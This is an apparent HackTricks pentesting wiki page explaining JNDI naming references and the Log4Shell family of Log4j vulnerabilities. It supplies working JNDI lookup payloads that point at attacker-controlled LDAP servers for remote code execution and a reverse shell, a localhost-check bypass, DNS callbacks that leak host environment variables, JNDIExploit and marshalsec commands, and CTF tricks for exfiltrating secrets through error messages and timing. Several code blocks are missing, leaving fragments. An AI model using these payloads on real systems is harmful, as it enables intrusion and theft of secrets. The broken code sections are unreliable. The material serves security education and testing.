* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
JNDI has been present in Java since the late 1990s. It is a directory service that **allows a Java program to find data through a directory using a name service**. A name service associates values (bindings), so it can be obtained through its reference in the directory.
JNDI has a number of **service provider interfaces** (SPIs) that enable it to use a variety of directory services. The goal of JNDI is to obtain data from other systems very easily. You can even obtain java objects remotely, and this is where a problem arises.
In order to retrieve Java Objects you could serialize them and save the binary representation. But there are some cases where this won’t work (maybe because the data is too large, or any other thing).\
In order to save more easily Java Objects, **Naming References are used**.\
* **Reference Addresses**: This indicates the address of the Object (_rmi://server/ref_), then the **object will be retrieved from that address**.
* **Remote Factory**: In this case a **remote factory class** will be pointed in the JNDI reference, then, following the JNDI address the remote class will be taken from the remote factory and the **class will be downloaded and loaded**.
This is dangerous because **attackers may make the system load arbitrary objects and execute arbitrary code**, therefore some protections exists:
* **RMI**: `java.rmi.server.useCodeabseOnly = true` by default since **JDK 7u21**, otherwise it will allow to load custom java objects remotely. Moreover, even if the protection is disabled, a **Security Manager** is enforced to configure what can be loaded.
* **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` by default since **JDK****6u141, 7u131, 8u121**, and it won’t allow to execute arbitrary java objects downloaded. But if this is set to `true` it will and **no Security Manager will be enforced**.
* **CORBA**: There is no property to be configured but the **Security Manager is always enforced**.
Moreover, the **Naming Manager**, the one that is going to follow the JNDI links, doesn’t have any Security Manager or property to be configured, so it will always try to get the object.
As you can see the **protections in general aren’t enough** because there is **no protection agains loading JNDI from random addresses** and the protections of RMI, LDAP and CORBA could be bypassed (depending on the configuration) to **load arbitrary java objects** or to **load java objects** that will abuse existent components in the application as **gadgets to execute arbitrary code**.
Even if you have set a **`PROVIDER_URL`**, you can indicate a different one in a lookup and it will be accessed: `ctx.lookup("<attacker-controlled-url>")` and that is what an attacker will abuse to load arbitrary objects from a system controlled by him.
An **Interoperable Object Reference (IOR)** is a CORBA or RMI-IIOP reference that uniquely idenfies and object on a remote CORBA server. IORs can be in binary format or string hex representation of the binary.\
Among other information, it conteins the **Type ID** (a unique identifier for an interface) and the **Codebase** (remote location using to get the stub class).\
Note that **by default CORBA cannot be abused**.\
It requires:
* A **Security Manager must be installed**
* Connection to the **codebase controlled by the attacker must be allowed** by Security Manager. There are different ways to allow this:
As indicated in the previous **JNDI Naming Reference Section, RMI by default won’t allow to download arbitrary Java Classes**. And moreover, even if it will, you will need to **bypass the Security Manager policies** (in the previous section we learned that this was possible with CORBA).
First of all, wee need to distinguish between a Search and a Lookup.\
A **search** will use an URL like `ldap://localhost:389/o=JNDITutorial` to find the JNDITutorial object from an LDAP server and **retreive its attributes**.\
A **lookup** is meant for **naming services** as we want to get **whatever is bound to a name**.
If the LDAP search was invoked with **SearchControls.setReturningObjFlag() with `true`, then the returned object will be reconstructed**.
Therefore, there are several ways to attack these options.\
An **attacker may poison LDAP records introducing payloads** on them that will be executed in the systems that gather them (very useful to **compromise tens of machines** if you have access to the LDAP server). Another way to exploit this would be to perform a **MitM attack in a LDAP searc**h for example.
In case you can **make an app resolve a JNDI LDAP UR**L, you can control the LDAP that will be searched, and you could send back the exploit (log4shell).
The vulnerability is introduced in Log4j because it supports a [**special syntax**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) in the form `${prefix:name}` where `prefix` is one of a number of different [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) where `name` should be evaluated. For example, `${java:version}` is the current running version of Java.
In [**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) added a `jndi` Lookup as follows: “The JndiLookup allows variables to be retrieved via JNDI. By default the key will be prefixed with java:comp/env/, however if the key contains a **":" no prefix will be added**.”
With a **: present** in the key, as in `${jndi:ldap://example.com/a}` there’s **no prefix** and the **LDAP server is queried for the object**. And these Lookups can be used in both the configuration of Log4j as well as when lines are logged.
Therefore, the only thing needed to get RCE a **vulnerable version of Log4j processing information controlled by the user**. And because this is a library widely used by Java applications to log information (Internet facing applications included) it was very common to have log4j logging for example HTTP headers received like the User-Agent. However, log4j is **not used to log only HTTP information but any input** and data the developer indicated.
* [**CVE-2021-44228**](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Critical]**: The original 'Log4Shell' vulnerability is an [untrusted deserialization](https://cwe.mitre.org/data/definitions/502.html) flaw. Rated critical in severity, this one scores a 10 on the [CVSS](https://www.first.org/cvss/) scale and **grants remote code execution (RCE) abilities to unauthenticated attackers**, allowing complete system takeover.\
\
Reported by Chen Zhaojun of Alibaba Cloud Security Team to Apache on November 24th, CVE-2021-44228 impacts the default configurations of multiple Apache frameworks, including Apache Struts2, Apache Solr, Apache Druid, Apache Flink, and others.\
\
Being the most dangerous of them all, this vulnerability lurks in the [log4j-core](https://search.maven.org/artifact/org.apache.logging.log4j/log4j-core) component, limited to 2.x versions: from 2.0-beta9 up to and including 2.14.1. A fix for Log4Shell was rolled out in version 2.15.0 but deemed incomplete (keep reading).\
Threat intel analyst Florian Roth shared Sigma rules \[[1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)] that can be employed as one of the defenses.\\
* [**CVE-2021-45046**](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) \[**Critical**, previously Low]: This one is a Denial of Service (DoS) flaw scoring a ~~3.7~~ 9.0. The flaw arose as a result of an **incomplete fix that went into 2.15.0** for CVE-2021-44228. While the fix applied to 2.15.0 did largely resolve the flaw, that wasn't quite the case for certain **non-default configurations**.\
Log4j 2.15.0 makes "a best-effort attempt" to **restrict JNDI LDAP lookups to \_localhost**\_ by default. But, **attackers** who have **control** over the **Thread Context Map (MDC)** input data can craft malicious payloads via the JNDI Lookup patterns to cause DoS attacsk. This applies to non-default configurations in which a non-default Pattern Layout using either a Context Lookup, e.g. \$${ctx:loginId}, or a Thread Context Map pattern (%X, %mdc, or %MDC).\
_Here is a PoC in how to bypass allowedLdapHost and allowedClasses checks in Log4J 2.15.0. to achieve RCE: **`${jndi:ldap://127.0.0.1#evilhost.com:1389/a}`** and to bypass allowedClasses just choose a name for a class in the JDK. Deserialization will occur as usual._\
\_\_"Log4j 2.16.0 fixes this issue by removing support for message lookup patterns and disabling JNDI functionality by default," states the NVD advisory. For those on 2.12.1 branch, a fix was backported into 2.12.2.\\
* [**CVE-2021-4104**](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[High]**: Did we say Log4j 2.x versions were vulnerable? What about **Log4j 1.x**?\
While previously thought to be safe, Log4Shell found a way to lurk in the older Log4j too. Essentially, **non-default configuration of Log4j 1.x instances using the \_JMSAppender**\_\*\* class also become susceptible to the untrusted deserialization flaw\*\*.\
Although a less severe variant of CVE-2021-44228, nonetheless, this CVE impacts all versions of the [log4j:log4j](https://search.maven.org/artifact/log4j/log4j) and [org.apache.log4j:log4j](https://mvnrepository.com/artifact/org.apache.log4j/log4j) components for which only 1.x releases exist. Because these are [end-of-life](https://logging.apache.org/log4j/1.2/) versions, **a fix for 1.x branch does not exist anywhere**, and one should upgrade to _log4j-core_ 2.17.0. (Apparently 1.0 isn't vulnerable).\\
* [**CVE-2021-42550**](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Moderate]:** This is a vulnerability in the **Logback logging framework**. A successor to the Log4j 1.x library, Logback claims to pick up "where log4j 1.x leaves off."\
\
Up until last week, Logback also [bragged](https://archive.md/QkzIy) that being "unrelated to log4j 2.x, \[logback] does not share its vulnerabilities."\
That assumption quickly faded when **CVE-2021-4104** was discovered to impact Log4j 1.x as well, and the possibility of potential **impact to Logback** was [assessed](https://jira.qos.ch/browse/LOGBACK-1591). Newer Logback versions, 1.3.0-alpha11 and 1.2.9 addressing this less severe vulnerability have now been [released](https://search.maven.org/artifact/ch.qos.logback/logback-classic).\\
* **CVE-2021-45105** **\[High]**: **Log4j 2.16.0** was found out to be **vulnerable to a DoS** flaw rated 'High' in severity. Apache has since **released a log4j 2.17.0 version** fixing the CVE. More details on this development are provided in BleepingComputer's [latest report](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/).
* [**CVE-2021-44832**](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/): This new CVE affects the **version 2.17** of log4j. This vulnerability **requires the attacker to control the configuration file of log4j** as it’s possible to indicate a JDNI URL in a configured JDBCAppender. For information about the **vulnerability and exploitation** [**read this info**](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
This vulnerability is very easy to discover because it will send at least a **DNS request** to the address you indicate in your payload. Therefore, payloads like:
*`${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` using (using [huntress](https://log4shell.huntress.com))
Note that **even if a DNS request is received that doesn't mean the application is exploitable** (or even vulnerable), you will need to try to exploit it.
{% hint style="info" %}
Remember that to **exploit version 2.15** you need to add the **localhost check bypass**: ${jndi:ldap://**127.0.0.1#**...}
or like `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** and if a **DNS request is received with the value of the env variable**, you know the application is vulnerable.
Hosts running on **JDKs versions higher than 6u141, 7u131, 8u121 will be protected against the LDAP class loading** vector **BUT NOT the deserialisation vector**. This is because `com.sun.jndi.ldap.object.trustURLCodebase` is disabled by default, hence JNDI cannot load remote codebase using LDAP. But we must stress deserialisation and variable leaks are still possible.\
This means that to **exploit the mentioned versions** you will need to **abuse some trusted gadget** that exists on the java application (using ysoserial or JNDIExploit for example). But to exploit lower versions, you can make them load an execute arbitrary classes (which makes the attack easier).
For **more information** (_like limitations on RMI and CORBA vectors_) **check the previous JNDI Naming Reference section** or [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
For this exploit the tool [**marshalsec**](https://github.com/mbechler/marshalsec) (download a [**jar version from here**](https://github.com/RandomRobbieBF/marshalsec-jar)) will be used to create a LDAP referral server to direct connections to our secondary HTTP server were the exploit will be served:
Create the **class file** executing: `javac Exploit.java -source 8 -target 8` and then run a **HTTP server** in the same directory the class file was created: `python3 -m http.server`.\
The **LDAP server from marshalsec should be pointing this HTTP server**.\
Then, you can make the **vulnerable web server execute the exploit class** by sending a payload like:
```bash
${jndi:ldap://<LDAP_IP>:1389/Exploit}
```
_Please, note that if Java is not configured to load remote codebase using LDAP, this custom exploit won’t work. In that case, you need to abuse a trusted class to execute arbitrary code._
Note that for some reason the author removed this project from github after the discovery of log4shell. You can find a cached version in [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) but if you want to respect the decision of the author use a different method to exploit this vuln.
Moreover, you cannot find the source code in wayback machine, so either analyse the source code, or execute the jar knowing that you don't know what you are executing.
For this example you can just run this **vulnerable web server to log4shell** in port 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_in the README you will find how to run it_). This vulnerable app is logging with a vulnerable version of log4shell the content of the HTTP request header _X-Api-Version_.
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
```
After reading the code just a couple of minutes, in _com.feihong.ldap.LdapServer_ and _com.feihong.ldap.HTTPServer_ you can see how the **LDAP and HTTP servers are created**. The LDAP server will understand what payload need to be served and will redirect the victim to the HTTP server, which will serve the exploit.\
In _com.feihong.ldap.gadgets_ you can find **some specific gadgets** that can be used to excute the desired action (potentially execute arbitrary code). And in _com.feihong.ldap.template_ you can see the different template classes that will **generate the exploits**.
You can see all the available exploits with **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**. Some useful ones are:
When sending the attacks you will see some output in the terminal where you executed **JNDIExploit-1.2-SNAPSHOT.jar**.
**Remember to check `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` for other exploitation options. Moreover, in case you need it, you can change the port of the LDAP and HTTP servers.**
In a similar way to the previous exploit, you can try to use [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) to exploit this vulnerability.\
_This attack using a custom generated java object will work in labs like the **THM solar room**. However, this won’t generally work (as by default Java is not configured to load remote codebase using LDAP) I think because it’s not abusing a trusted class to execute arbitrary code._
This option is really useful to attack **Java versions configured to only trust specified classes and not everyone**. Therefore, **ysoserial** will be used to generate **serializations of trusted classes** that can be used as gadgets to **execute arbitrary code** (_the trusted class abused by ysoserial must be used by the victim java program in order for the exploit to work_).
Using **ysoserial** or [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) you can create the deserialization exploit that will be downloaded by JNDI:
Use [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) to generate **JNDI links** where the exploit will be waiting for connections from the vulnerable machines. You can server **different exploit that can be automatically generated** by the JNDI-Exploit-Kit or even your **own deserialization payloads** (generated by you or ysoserial).
Now you can easily use a generated JNDI link to exploit the vulnerability and obtain a **reverse shell** just sending to a vulnerable version of log4j: **`${ldap://10.10.14.10:1389/generated}`**
In this [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) is well explained how it's potentially **possible** to **abuse** some features of **Log4J**.
> From version 2.16.0 (for Java 8), the **message lookups feature has been completely removed**. **Lookups in configuration still work**. Furthermore, Log4j now disables access to JNDI by default. JNDI lookups in configuration now need to be enabled explicitly.
> From version 2.17.0, (and 2.12.3 and 2.3.1 for Java 7 and Java 6), **only lookup strings in configuration are expanded recursively**; in any other usage, only the top-level lookup is resolved, and any nested lookups are not resolved.
This means that by default you can **forget using any `jndi` exploit**. Moreover, to perform **recursive lookups** you need to have them configure.
For example, in that CTF this was configured in the file log4j2.xml:
In this CTF the attacker controlled the value of `${sys:cmd}` and needed to exfiltrate the flag from an environment variable.\
As seen in this page in [**previous payloads**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) there are different some ways to access env variables, such as: **`${env:FLAG}`**. In this CTF this was useless but it might not be in other real life scenarios.
In the CTF, you **couldn't access the stderr** of the java application using log4J, but Log4J **exceptions are sent to stdout**, which was printed in the python app. This meant that triggering an exception we could access the content. An exception to exfiltrate the flag was: **`${java:${env:FLAG}}`.** This works because **`${java:CTF{blahblah}}`** doesn't exist and an exception with the value of the flag will be shown:
Just to mention it, you could also inject new [**conversion patterns**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) and trigger exceptions that will be logged to `stdout`. For example:
This wasn't found useful to exfiltrate date inside the error message, because the lookup wasn't solved before the conversion pattern, but it could be useful for other stuff such as detecting.
However, it's possible to use some **conversion patterns that supports regexes** to exfiltrate information from a lookup by using regexes and abusing **binary search** or **time based** behaviours.
* **Binary search via exception messages**
The conversion pattern **`%replace`** can be use to **replace****content** from a **string** even using **regexes**. It works like this: `replace{pattern}{regex}{substitution}`\
\`\`Abusing this behaviour you could make replace **trigger an exception if the regex matched** anything inside the string (and no exception if it wasn't found) like this:
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
```
* **Time based**
As it was mentioned in the previous section, **`%replace`** supports **regexes**. So it's possible to use payload from the [**ReDoS page**](../regular-expression-denial-of-service-redos.md) to cause a **timeout** in case the flag is found.\
For example, a payload like `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` would trigger a **timeout** in that CTF.
In this [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), instead of using a ReDoS attack it used an **amplification attack** to cause a time difference in the response:
> If the flag starts with `flagGuess`, the whole flag is replaced with 29 `#`-s (I used this character because it would likely not be part of the flag). **Each of the resulting 29 `#`-s is then replaced by 54 `#`-s**. This process is repeated **6 times**, leading to a total of ` 29*54*54^6* =`` `` `**`96816014208` `#`-s!**
> Replacing so many `#`-s will trigger the 10-second timeout of the Flask application, which in turn will result in the HTTP status code 500 being sent to the user. (If the flag does not start with `flagGuess`, we will receive a non-500 status code)
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
